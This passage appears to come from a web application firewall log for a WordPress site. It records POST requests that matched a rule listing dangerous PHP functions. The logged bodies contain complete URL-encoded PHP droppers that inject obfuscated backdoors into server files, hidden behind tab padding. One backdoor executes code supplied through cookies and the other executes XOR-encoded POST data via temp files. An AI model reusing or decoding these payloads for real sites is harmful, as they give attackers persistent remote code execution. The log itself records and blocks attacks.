3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nDD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:48:34","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Dw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEUpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3217\n\nDw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:49:37","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3240\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/adminer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B39%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B39%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B39%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B2%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B25%255D%2528%2524k%252C%2524p%255B28%255D%2529%253B%2524p%255B6%255D%2528%2524n%252C%2524p%255B13%255D.%2524p%255B20%255D%2528%2524p%255B8%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:49:50","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3653\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nnt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:49:59","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%